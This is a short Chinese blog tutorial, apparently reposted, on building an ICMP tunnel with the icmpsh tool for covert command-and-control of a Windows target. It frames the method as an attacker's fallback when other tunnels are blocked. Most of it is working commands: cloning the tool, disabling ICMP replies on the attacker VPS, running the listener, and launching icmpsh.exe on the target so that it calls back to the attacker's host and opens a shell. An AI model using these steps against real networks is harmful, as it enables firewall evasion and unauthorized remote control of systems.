内网转发及隐蔽隧道 | 使用ICMP进行命令控制(Icmpsh)
ICMP隧道
使用ICMP进行命令控制(Icmpsh)
ICMP隧道简单实用,是一个比较特殊的协议。在一般的通信协议里,如果两台设备要进行通信,肯定需要开放端口,而在ICMP协议下就不需要。最常见的ping命令就是利用的ICMP协议,攻击者可以利用命令行得到比回复更多的ICMP请求。在通常情况下,每个ping命令都有相应的回复与请求。
在一些网络环境中,如果攻击者使用各类上层隧道(例如:HTTP隧道、DNS隧道、常规正/反向端口转发等)进行的操作都失败了,常常会通过ping命令访问远程计算机,尝试建立ICMP隧道,将TCP/UDP数据封装到ICMP的ping数据包中,从而穿过防火墙(防火墙一般不会屏蔽ping的数据包),实现不受限制的访问访问。
适用场景:目标机器是Windows服务器的情况
git clone https://github.com/inquisb/icmpsh.git #先下载icmpsh工具
VPS的操作:
sysctl -w net.ipv4.icmp_echo_ignore_all=1 #关闭icmp回复,如果要开启icmp回复,该值设置为0python2 icmpsh_m.py 172.31.226.161 x.x.x.x #运行,第一个IP是VPS的eth0网卡IP,第二个IP是目标机器出口的公网IP
目标机器的操作:
icmpsh.exe -t x.x.x.x -d 500 -b 30 -s 128
抓包,可以看到两者之间通信都是icmp的数据包
责编:vivian
来源:谢公子博客
赞 (0)